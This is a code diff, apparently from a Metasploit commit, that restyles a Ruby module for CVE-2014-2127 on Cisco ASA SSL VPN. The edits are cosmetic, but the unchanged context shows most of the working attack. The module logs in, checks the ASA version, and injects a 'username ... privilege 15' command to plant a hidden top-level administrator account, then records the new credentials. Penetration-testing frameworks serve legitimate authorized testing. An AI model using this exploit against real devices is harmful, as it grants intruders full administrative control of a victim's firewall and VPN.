@@ -28,12 +28,11 @@ def initialize(info = {})
28
28
'License' => MSF_LICENSE ,
29
29
'References' =>
30
30
[
31
- [ 'CVE' , '2014-2127' ] ,
32
- [ 'URL' , 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ] ,
33
- [ 'URL' , 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
31
+ [ 'CVE' , '2014-2127' ] ,
32
+ [ 'URL' , 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ] ,
33
+ [ 'URL' , 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
34
34
] ,
35
- 'DisclosureDate' => "Apr 9 2014" ,
36
-
35
+ 'DisclosureDate' => 'Apr 09 2014'
37
36
) )
38
37
39
38
register_options (
@@ -56,8 +55,8 @@ def validate_cisco_ssl_vpn
56
55
'method' => 'GET'
57
56
)
58
57
59
- vprint_good "#{ peer } - Server is responsive"
60
- rescue ::Rex ::ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError , ::Errno ::EPIPE
58
+ vprint_good ( "#{ peer } - Server is responsive" )
59
+ rescue ::Rex ::ConnectionError , ::Errno ::EPIPE
61
60
return false
62
61
end
63
62
@@ -94,7 +93,7 @@ def do_logout(cookie)
94
93
95
94
if res &&
96
95
res . code == 200
97
- vprint_good "#{ peer } - Logged out"
96
+ vprint_good ( "#{ peer } - Logged out" )
98
97
end
99
98
end
100
99
@@ -107,11 +106,7 @@ def run_command(cmd, cookie)
107
106
'cookie' => cookie
108
107
)
109
108
110
- if res
111
- return res
112
- else
113
- return nil
114
- end
109
+ res
115
110
end
116
111
117
112
def do_show_version ( cookie , tries = 3 )
@@ -124,8 +119,8 @@ def do_show_version(cookie, tries = 3)
124
119
resp . body . include? ( 'Cisco Adaptive Security Appliance Software Version' )
125
120
return resp . body
126
121
else
127
- vprint_error "#{ peer } - Unable to run '#{ command } '"
128
- vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
122
+ vprint_error ( "#{ peer } - Unable to run '#{ command } '" )
123
+ vprint_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == 2
129
124
end
130
125
end
131
126
@@ -137,18 +132,18 @@ def add_user(cookie, tries = 3)
137
132
password = random_password
138
133
139
134
tries . times do |i |
140
- vprint_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
135
+ vprint_good ( "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } " )
141
136
command = "username #{ username } password #{ password } privilege 15"
142
137
resp = run_command ( command , cookie )
143
138
144
139
if resp &&
145
140
!resp . body . include? ( 'Command authorization failed' ) &&
146
141
!resp . body . include? ( 'Command failed' )
147
- vprint_good "#{ peer } - Privilege Escalation Appeared Successful"
142
+ vprint_good ( "#{ peer } - Privilege Escalation Appeared Successful" )
148
143
return [ username , password ]
149
144
else
150
- vprint_error "#{ peer } - Unable to run '#{ command } '"
151
- vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
145
+ vprint_error ( "#{ peer } - Unable to run '#{ command } '" )
146
+ vprint_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == tries - 1
152
147
end
153
148
end
154
149
@@ -200,29 +195,29 @@ def do_login(user, pass, group)
200
195
resp . body . include? ( 'SSL VPN Service' ) &&
201
196
resp . body . include? ( 'webvpn_logout' )
202
197
203
- vprint_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
198
+ vprint_good ( "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } " )
204
199
return resp . get_cookies
205
200
else
206
201
return false
207
202
end
208
203
209
- rescue ::Rex ::ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError , ::Errno ::EPIPE
204
+ rescue ::Rex ::ConnectionError , ::Errno ::EPIPE
210
205
return false
211
206
end
212
207
end
213
208
214
209
def run_host ( ip )
215
210
# Validate we're dealing with Cisco SSL VPN
216
211
unless validate_cisco_ssl_vpn
217
- vprint_error "#{ peer } - Does not appear to be Cisco SSL VPN"
212
+ vprint_error ( "#{ peer } - Does not appear to be Cisco SSL VPN" )
218
213
:abort
219
214
end
220
215
221
216
# This is crude, but I've found this to be somewhat
222
217
# interimittent based on session, so we'll just retry
223
218
# 'X' times.
224
219
datastore [ 'RETRIES' ] . times do |i |
225
- vprint_good "#{ peer } - Exploit Attempt ##{ i } "
220
+ vprint_good ( "#{ peer } - Exploit Attempt ##{ i } " )
226
221
227
222
# Authenticate to SSL VPN and get session cookie
228
223
cookie = do_login (
@@ -233,7 +228,7 @@ def run_host(ip)
233
228
234
229
# See if our authentication attempt failed
235
230
unless cookie
236
- vprint_error "#{ peer } - Failed to login to Cisco SSL VPN"
231
+ vprint_error ( "#{ peer } - Failed to login to Cisco SSL VPN" )
237
232
next
238
233
end
239
234
@@ -242,10 +237,10 @@ def run_host(ip)
242
237
243
238
if version &&
244
239
version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
245
- print_good "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } "
240
+ print_good ( "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } " )
246
241
else
247
242
do_logout ( cookie )
248
- vprint_error "#{ peer } - Show version failed"
243
+ vprint_error ( "#{ peer } - Show version failed" )
249
244
next
250
245
end
251
246
@@ -254,7 +249,7 @@ def run_host(ip)
254
249
do_logout ( cookie )
255
250
256
251
if creds
257
- print_good "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } "
252
+ print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
258
253
259
254
user , pass = creds
260
255
@@ -270,7 +265,7 @@ def run_host(ip)
270
265
271
266
report_auth_info ( report_hash )
272
267
else
273
- vprint_error "#{ peer } - Failed to created user account on Cisco SSL VPN"
268
+ vprint_error ( "#{ peer } - Failed to created user account on Cisco SSL VPN" )
274
269
end
275
270
end
276
271
end
0 commit comments